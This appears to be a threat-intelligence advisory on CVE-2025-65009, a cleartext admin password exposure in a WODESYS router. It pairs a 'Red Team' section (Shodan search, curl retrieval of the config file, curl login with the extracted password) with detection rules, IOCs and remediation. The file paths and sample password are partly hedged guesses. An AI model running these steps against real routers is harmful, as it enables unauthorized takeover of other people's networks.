CVE-2025-65009

Executive Summary

CVE-2025-65009 exposes a critical plaintext credential storage vulnerability in WODESYS WD-R608U router (also known as WDR122B V2.0 and WDR28). The administrative password is stored in cleartext within a configuration file that is accessible to unauthenticated attackers via direct resource references. This allows any remote attacker to retrieve the admin password without authentication, leading to full device compromise.

The vulnerability has a CVSS v3.1 base score of 7.5 (High) due to network attack vector, low attack complexity, no privileges required, and no user interaction. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains high for targeted attacks.

No supply chain package ecosystem (NPM, PyPI, Go, Ruby) is involved; this is a hardware/embedded device vulnerability.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – exploitable remotely
• Attack Complexity (AC): Low (L) – no special conditions
• Privileges Required (PR): None (N) – no authentication needed
• User Interaction (UI): None (N) – no user action required
• Scope (S): Unchanged (U) – vulnerability does not cross trust boundaries
• Confidentiality (C): High (H) – full disclosure of admin password
• Integrity (I): None (N) – no direct modification
• Availability (A): None (N) – no denial of service

Base Score: 7.5 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Deep Dive & Mechanics

The vulnerability resides in the router's web management interface. The configuration file (likely /etc/config or similar) contains the administrative password in plaintext. The file is accessible via a direct URL without authentication, e.g., http://<router-ip>/config.cfg or http://<router-ip>/backup/config.bin. An attacker can retrieve this file and extract the password.

The root cause is CWE-312: Cleartext Storage of Sensitive Information. The vendor failed to encrypt or hash the password before storing it in a world-readable configuration file.

Attack Flow:

1. Attacker scans for vulnerable routers (e.g., using Shodan dorks).
2. Attacker sends HTTP GET request to the configuration file endpoint.
3. Router returns the configuration file containing the admin password in plaintext.
4. Attacker logs into the router's admin panel with the extracted credentials.
5. Attacker can then modify DNS settings, exfiltrate traffic, or pivot to internal networks.

Vulnerable vs. Patched Code

No patched version exists. The vulnerable code is the router's firmware that stores the password in plaintext. A hypothetical fix would involve:

• Vulnerable (pseudo-code):

  // config.c
  char password[] = "admin123";
  write_config("admin_password", password);
  

• Patched (pseudo-code):

  // config.c
  char password[] = "admin123";
  char hash[64];
  sha256(password, hash);
  write_config("admin_password_hash", hash);
  

The vendor has not responded, so no official patch is available.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Vulnerable router (WDR28081123OV1.01 or similar)
• Network access to the router's web interface (port 80/443)

Exploitation Steps:

1. Identify vulnerable router:

   shodan search http.title:"WD-R608U" --fields ip_str,port
   

2. Retrieve configuration file:

   curl http://<target-ip>/config.cfg
   

3. Extract password (example output):

   admin_password=admin123
   

4. Login to admin panel:

   curl -X POST http://<target-ip>/login.cgi -d "username=admin&password=admin123"
   

5. Post-exploitation: Modify DNS settings, enable remote access, or exfiltrate data.

Blue Team

Detection & Response:

1. Monitor for anomalous HTTP requests to configuration file endpoints (e.g., /config.cfg, /backup/config.bin).
2. Check router logs for unauthorized access attempts.
3. Implement network segmentation to isolate vulnerable devices.
4. Use WAF rules to block direct access to configuration files.

Honeypot Setup:

• Deploy a fake router with the same configuration file to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /config.cfg, /backup/config.bin, /etc/config
  • Outbound connections from router to unknown IPs after admin login
  • DNS queries to suspicious domains (e.g., malicious.com)

• File IOCs:

  • Configuration file containing admin_password= in plaintext
  • Modified DNS settings in /etc/dnsmasq.conf

• Behavioral IOCs:

  • Unauthorized admin login attempts from external IPs
  • Changes to router firewall rules

Detection Engineering

YARA Rule

rule CVE_2025_65009_Plaintext_Password
{
    meta:
        description = "Detects plaintext admin password in WODESYS router config files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65009"
    strings:
        $password = /admin_password=[^\n]{1,64}/
        $config_header = "admin_username=admin"
    condition:
        $password and $config_header
}

Sigma Rule

title: CVE-2025-65009 - Plaintext Admin Password Access
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to WODESYS router configuration files
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '/config.cfg'
            - '/backup/config.bin'
            - '/etc/config'
    condition: selection
falsepositives:
    - Legitimate admin backup operations
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-65009 - WODESYS Router Config File Access"; flow:to_server; content:"GET"; http_method; content:"/config.cfg"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate vulnerable routers from the internet (place behind a firewall with strict ACLs).
2. Change default admin password immediately (though this does not fix the vulnerability).
3. Disable remote management if not required.
4. Monitor logs for unauthorized access attempts.

Long-term Fix:

• Replace the router with a vendor-supported model that encrypts credentials.
• Apply firmware update if vendor releases one (currently none available).
• Implement network segmentation to limit exposure.

Workaround:

• Use a reverse proxy to block access to configuration file endpoints.
• Deploy a WAF rule to drop requests containing /config.cfg or similar paths.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-65009